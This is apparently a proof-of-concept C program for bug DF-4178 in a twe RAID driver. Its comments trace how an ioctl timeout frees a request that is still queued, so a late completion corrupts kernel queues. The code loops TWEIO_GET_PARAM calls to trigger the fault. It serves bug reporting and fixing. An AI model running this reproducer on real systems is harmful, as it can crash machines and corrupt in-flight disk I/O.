DF-4178 / twe_getparam_timeout.c
/* * DF-4178 PoC - twe_immediate_request timeout releases a request that is * still posted to the controller and linked on the busy queue. * * Trigger path (kernel): * ioctl(/dev/tweN, TWEIO_GET_PARAM) * -> twe_ioctl (twe.c:637) * -> twe_get_param (twe.c:770, func == NULL) * -> twe_immediate_request (twe.c:981) * posts the command, then polls for at most 5 s (twe.c:1003) * -> on timeout returns 1 * -> twe_get_param err: twe_release_request(tr) (twe.c:830) * while tr is STILL on twe_busy (double-linked busy+free) * * If the controller completes the command late (it is still posted), the * completion is processed through the reused request: * twe_done (twe.c:1199) -> twe_lookup[id] (now owned by another user) * -> tr->tr_status = TWE_CMD_COMPLETE (clobbers new owner's state) * -> twe_remove_busy(tr) (TAILQ_REMOVE on a request * that is NOT on twe_busy -> * writes through stale * tr_link pointers) * -> twe_enqueue_complete(tr) / twe_complete() * -> completion callback of the *new* owner runs (e.g. twe_completeio -> * biodone on a bio that is still in flight). * * This program just drives TWEIO_GET_PARAM in a loop (each iteration is one * immediate request). On hardware whose parameter commands can take >5 s * (e.g. a controller busy rebuilding, or a faulted device), the timeout * fires; the subsequent late completion is what corrupts the driver queues. * * Expected on affected hardware: after enough iterations with late * completions, "completion event for nonbusy command" on the console * followed by queue corruption (panic / biodone on stale bio). * * Build: cc -O -o twe_getparam_timeout twe_getparam_timeout.c * Run: ./twe_getparam_timeout /dev/twe0 [iterations] * * Requires the /dev/tweN control node (root:operator 0600). */ #include <sys/ioctl.h> #include <sys/ioccom.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <unistd.h> /* mirror of sys/dev/raid/twe/tweio.h - identical layout => identical * ioctl command numbers */ struct twe_paramcommand { unsigned short tp_table_id; unsigned char tp_param_id; void *tp_data; unsigned char tp_size; }; #define TWEIO_GET_PARAM _IOW ('T', 105, struct twe_paramcommand) #define TWE_PARAM_VERSION 0x0402 #define TWE_PARAM_VERSION_FW 3 /* firmware version string [16] */ int main(int argc, char **argv) { struct twe_paramcommand tp; char data[256]; char *dev = argv[1] ? argv[1] : "/dev/twe0"; int iters = argc > 2 ? atoi(argv[2]) : 1000; int fd, i, errors = 0, timeouts = 0; fd = open(dev, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s\n", dev, strerror(errno)); exit(1); } for (i = 0; i < iters; i++) { memset(&tp, 0, sizeof(tp)); memset(data, 0, sizeof(data)); tp.tp_table_id = TWE_PARAM_VERSION; tp.tp_param_id = TWE_PARAM_VERSION_FW; tp.tp_size = 16; tp.tp_data = data; if (ioctl(fd, TWEIO_GET_PARAM, &tp) < 0) { if (errno == ETIMEDOUT || errno == EIO) timeouts++; /* twe_immediate_request gave up */ errors++; } } printf("%s: %d iterations, %d errors, %d suspected timeouts\n", dev, iters, errors, timeouts); printf("watch the console for 'completion event for nonbusy command'\n"); close(fd); return (0); } |